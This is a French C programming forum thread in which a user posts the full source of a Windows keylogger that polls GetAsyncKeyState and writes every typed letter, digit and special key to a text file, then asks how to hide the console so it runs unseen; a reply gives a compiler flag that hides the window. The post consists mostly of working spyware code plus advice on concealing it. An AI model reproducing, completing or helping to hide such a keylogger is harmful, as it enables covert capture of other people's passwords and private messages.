Cacher console

Cacher console - C - Programmation

Marsh Posté le 11-05-2014 à 15:22:42    

Bonjours a tous,
 
Je cherche a dissimuler ma console.
Voici-ci joint le code source de mon programme. Il enregistre toutes les touches en majuscules et minuscule + chiffres.
Je l'ai fais pour m'amuser un peu.
 
Voici le problème. Il marche très bien quand la console est visible. Je peu écrire n'importe ou tout marche bien.
Mais dés que je cherche a la cacher, le programme tourne toujours, mais rien ne s'écrit dans le fichier.
J'ai essayé pleins de trucs différents mais rien n'y fais... Et sa fais des semaines que je cherche. Je n'ai aucune piste.
Je suis avec l'IDE,  Code::Blocks.
 
 
Voici donc le code.
 
#include <stdio.h>
#include <windows.h>
#include <winuser.h>
 
 
int main()
{
 
    char file[MAX_PATH];
    GetWindowsDirectory(file,sizeof(file));
    strcat(file,"//keys.txt" );
    FILE *fichier;
    fichier = fopen("essay.txt","a+" );
 
    while(1)
    {
         Sleep(10);
        // Gestion des touches spéciales
        if(GetAsyncKeyState(32) == -32767) fputs(" ",fichier);
        if(GetAsyncKeyState(VK_TAB) == -32767) fputs("[TAB]",fichier);
        if(GetAsyncKeyState(27) == -32767) fputs("[ECHAPE]",fichier);
        if(GetAsyncKeyState(VK_RETURN) == -32767) fputs("\n",fichier);
        if(GetAsyncKeyState(VK_SHIFT) == -32767) fputs("[SHIFT]",fichier);
        if(GetAsyncKeyState(VK_DELETE) == -32767) fputs("[Suppr]",fichier);
        if(GetAsyncKeyState(VK_CONTROL) == -32767) fputs("[CTRL]",fichier);
        if(GetAsyncKeyState(VK_MENU) == -32767) fputs("[ALT]",fichier);
        if(GetAsyncKeyState(VK_BACK) == -32767) fputs("[del]", fichier);
 
 
        // Gestion des lettres en minuscule.
        if(GetAsyncKeyState(65) == -32767) fputc('a', fichier);
        if(GetAsyncKeyState(66) == -32767) fputc('b', fichier);
        if(GetAsyncKeyState(67) == -32767) fputc('c', fichier);
        if(GetAsyncKeyState(68) == -32767) fputc('d', fichier);
        if(GetAsyncKeyState(69) == -32767) fputc('e', fichier);
        if(GetAsyncKeyState(70) == -32767) fputc('f', fichier);
        if(GetAsyncKeyState(71) == -32767) fputc('g', fichier);
        if(GetAsyncKeyState(72) == -32767) fputc('h', fichier);
        if(GetAsyncKeyState(73) == -32767) fputc('i', fichier);
        if(GetAsyncKeyState(74) == -32767) fputc('j', fichier);
        if(GetAsyncKeyState(75) == -32767) fputc('k', fichier);
        if(GetAsyncKeyState(76) == -32767) fputc('l', fichier);
        if(GetAsyncKeyState(77) == -32767) fputc('m', fichier);
        if(GetAsyncKeyState(78) == -32767) fputc('n', fichier);
        if(GetAsyncKeyState(79) == -32767) fputc('o', fichier);
        if(GetAsyncKeyState(80) == -32767) fputc('p', fichier);
        if(GetAsyncKeyState(81) == -32767) fputc('q', fichier);
        if(GetAsyncKeyState(82) == -32767) fputc('r', fichier);
        if(GetAsyncKeyState(83) == -32767) fputc('s', fichier);
        if(GetAsyncKeyState(84) == -32767) fputc('t', fichier);
        if(GetAsyncKeyState(85) == -32767) fputc('u', fichier);
        if(GetAsyncKeyState(86) == -32767) fputc('v', fichier);
        if(GetAsyncKeyState(87) == -32767) fputc('w', fichier);
        if(GetAsyncKeyState(88) == -32767) fputc('x', fichier);
        if(GetAsyncKeyState(89) == -32767) fputc('y', fichier);
        if(GetAsyncKeyState(90) == -32767) fputc('z', fichier);
 
         // Gestion des chiffres du clavier numerique.
        if(GetAsyncKeyState(VK_NUMPAD0) == -32767) fputc('0', fichier);
        if(GetAsyncKeyState(VK_NUMPAD1) == -32767) fputc('1', fichier);
        if(GetAsyncKeyState(VK_NUMPAD2) == -32767) fputc('2', fichier);
        if(GetAsyncKeyState(VK_NUMPAD3) == -32767) fputc('3', fichier);
        if(GetAsyncKeyState(VK_NUMPAD4) == -32767) fputc('4', fichier);
        if(GetAsyncKeyState(VK_NUMPAD5) == -32767) fputc('5', fichier);
        if(GetAsyncKeyState(VK_NUMPAD6) == -32767) fputc('6', fichier);
        if(GetAsyncKeyState(VK_NUMPAD7) == -32767) fputc('7', fichier);
        if(GetAsyncKeyState(VK_NUMPAD8) == -32767) fputc('8', fichier);
        if(GetAsyncKeyState(VK_NUMPAD9) == -32767) fputc('9', fichier);
 
         // Gestion des symboles au dessus des lettres.
        if(GetAsyncKeyState(48) == -32767) fputc('à', fichier);
        if(GetAsyncKeyState(49) == -32767) fputc('&', fichier);
        if(GetAsyncKeyState(50) == -32767) fputc('é', fichier);
        if(GetAsyncKeyState(51) == -32767) fputc('"', fichier);
        if(GetAsyncKeyState(52) == -32767) fputs("'", fichier);
        if(GetAsyncKeyState(53) == -32767) fputc('(', fichier);
        if(GetAsyncKeyState(54) == -32767) fputc('-', fichier);
        if(GetAsyncKeyState(55) == -32767) fputc('è', fichier);
        if(GetAsyncKeyState(56) == -32767) fputc('_', fichier);
        if(GetAsyncKeyState(57) == -32767) fputc('ç', fichier);
 
 
 
       // Si la touche Maj est enfoncée.
        if(GetAsyncKeyState(VK_CAPITAL) == -32767)
        {
            fputs("[MAJ]", fichier);
            int i = 1;
            while(i)
            {
                Sleep(10);
 
                // Codage des touches en majuscule
        if(GetAsyncKeyState(65) == -32767) fputc('A', fichier);
        if(GetAsyncKeyState(66) == -32767) fputc('B', fichier);
        if(GetAsyncKeyState(67) == -32767) fputc('C', fichier);
        if(GetAsyncKeyState(68) == -32767) fputc('D', fichier);
        if(GetAsyncKeyState(69) == -32767) fputc('E', fichier);
        if(GetAsyncKeyState(70) == -32767) fputc('F', fichier);
        if(GetAsyncKeyState(71) == -32767) fputc('G', fichier);
        if(GetAsyncKeyState(72) == -32767) fputc('H', fichier);
        if(GetAsyncKeyState(73) == -32767) fputc('I', fichier);
        if(GetAsyncKeyState(74) == -32767) fputc('J', fichier);
        if(GetAsyncKeyState(75) == -32767) fputc('K', fichier);
        if(GetAsyncKeyState(76) == -32767) fputc('L', fichier);
        if(GetAsyncKeyState(77) == -32767) fputc('M', fichier);
        if(GetAsyncKeyState(78) == -32767) fputc('N', fichier);
        if(GetAsyncKeyState(79) == -32767) fputc('O', fichier);
        if(GetAsyncKeyState(80) == -32767) fputc('P', fichier);
        if(GetAsyncKeyState(81) == -32767) fputc('Q', fichier);
        if(GetAsyncKeyState(82) == -32767) fputc('R', fichier);
        if(GetAsyncKeyState(83) == -32767) fputc('S', fichier);
        if(GetAsyncKeyState(84) == -32767) fputc('T', fichier);
        if(GetAsyncKeyState(85) == -32767) fputc('U', fichier);
        if(GetAsyncKeyState(86) == -32767) fputc('V', fichier);
        if(GetAsyncKeyState(87) == -32767) fputc('W', fichier);
        if(GetAsyncKeyState(88) == -32767) fputc('X', fichier);
        if(GetAsyncKeyState(89) == -32767) fputc('Y', fichier);
        if(GetAsyncKeyState(90) == -32767) fputc('Z', fichier);
 
         // Gestion des chiffres au dessus des lettres.
        if(GetAsyncKeyState(48) == -32767) fputc('0', fichier);
        if(GetAsyncKeyState(49) == -32767) fputc('1', fichier);
        if(GetAsyncKeyState(50) == -32767) fputc('2', fichier);
        if(GetAsyncKeyState(51) == -32767) fputc('3', fichier);
        if(GetAsyncKeyState(52) == -32767) fputc('4', fichier);
        if(GetAsyncKeyState(53) == -32767) fputc('5', fichier);
        if(GetAsyncKeyState(54) == -32767) fputc('6', fichier);
        if(GetAsyncKeyState(55) == -32767) fputc('7', fichier);
        if(GetAsyncKeyState(56) == -32767) fputc('8', fichier);
        if(GetAsyncKeyState(57) == -32767) fputc('9', fichier);
 
         // Gestion des chiffres du clavier numerique.
        if(GetAsyncKeyState(VK_NUMPAD0) == -32767) fputc('0', fichier);
        if(GetAsyncKeyState(VK_NUMPAD1) == -32767) fputc('1', fichier);
        if(GetAsyncKeyState(VK_NUMPAD2) == -32767) fputc('2', fichier);
        if(GetAsyncKeyState(VK_NUMPAD3) == -32767) fputc('3', fichier);
        if(GetAsyncKeyState(VK_NUMPAD4) == -32767) fputc('4', fichier);
        if(GetAsyncKeyState(VK_NUMPAD5) == -32767) fputc('5', fichier);
        if(GetAsyncKeyState(VK_NUMPAD6) == -32767) fputc('6', fichier);
        if(GetAsyncKeyState(VK_NUMPAD7) == -32767) fputc('7', fichier);
        if(GetAsyncKeyState(VK_NUMPAD8) == -32767) fputc('8', fichier);
        if(GetAsyncKeyState(VK_NUMPAD9) == -32767) fputc('9', fichier);
 
         // Gestion des touches spéciales
        if(GetAsyncKeyState(32) == -32767) fputs(" ",fichier);
        if(GetAsyncKeyState(VK_TAB) == -32767) fputs("[TAB]",fichier);
        if(GetAsyncKeyState(27) == -32767) fputs("[ECHAPE]",fichier);
        if(GetAsyncKeyState(VK_RETURN) == -32767) fputs("\n",fichier);
        if(GetAsyncKeyState(VK_SHIFT) == -32767) fputs("[SHIFT]",fichier);
        if(GetAsyncKeyState(VK_DELETE) == -32767) fputs("[Suppr]",fichier);
        if(GetAsyncKeyState(VK_CONTROL) == -32767) fputs("[CTRL]",fichier);
        if(GetAsyncKeyState(VK_MENU) == -32767) fputs("[ALT]",fichier);
 
 
 
        //Si la touche Maj est repressée, arret de la configuration Majuscule.
        if(GetAsyncKeyState(VK_CAPITAL) == -32767)
        {
             fputs("[MAJ]", fichier);
             i=0;
        }
 
            }
        }
 
    }
 
    return 0;
}
 
 
Connaissez vous une méthode pour cacher la fenêtre?
Est-ce un problème au niveau des propriétés des fonctions utilisées?
 
Merci.

Reply

Marsh Posté le 11-05-2014 à 15:22:42   

Reply

Marsh Posté le 11-05-2014 à 15:46:10    

Bonjour, j'utilise l'option -mwindows avec gnatmake, et sensiblement, c'est le même avec gcc.
J'ai pas de projet graphique avec C pour tester.

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed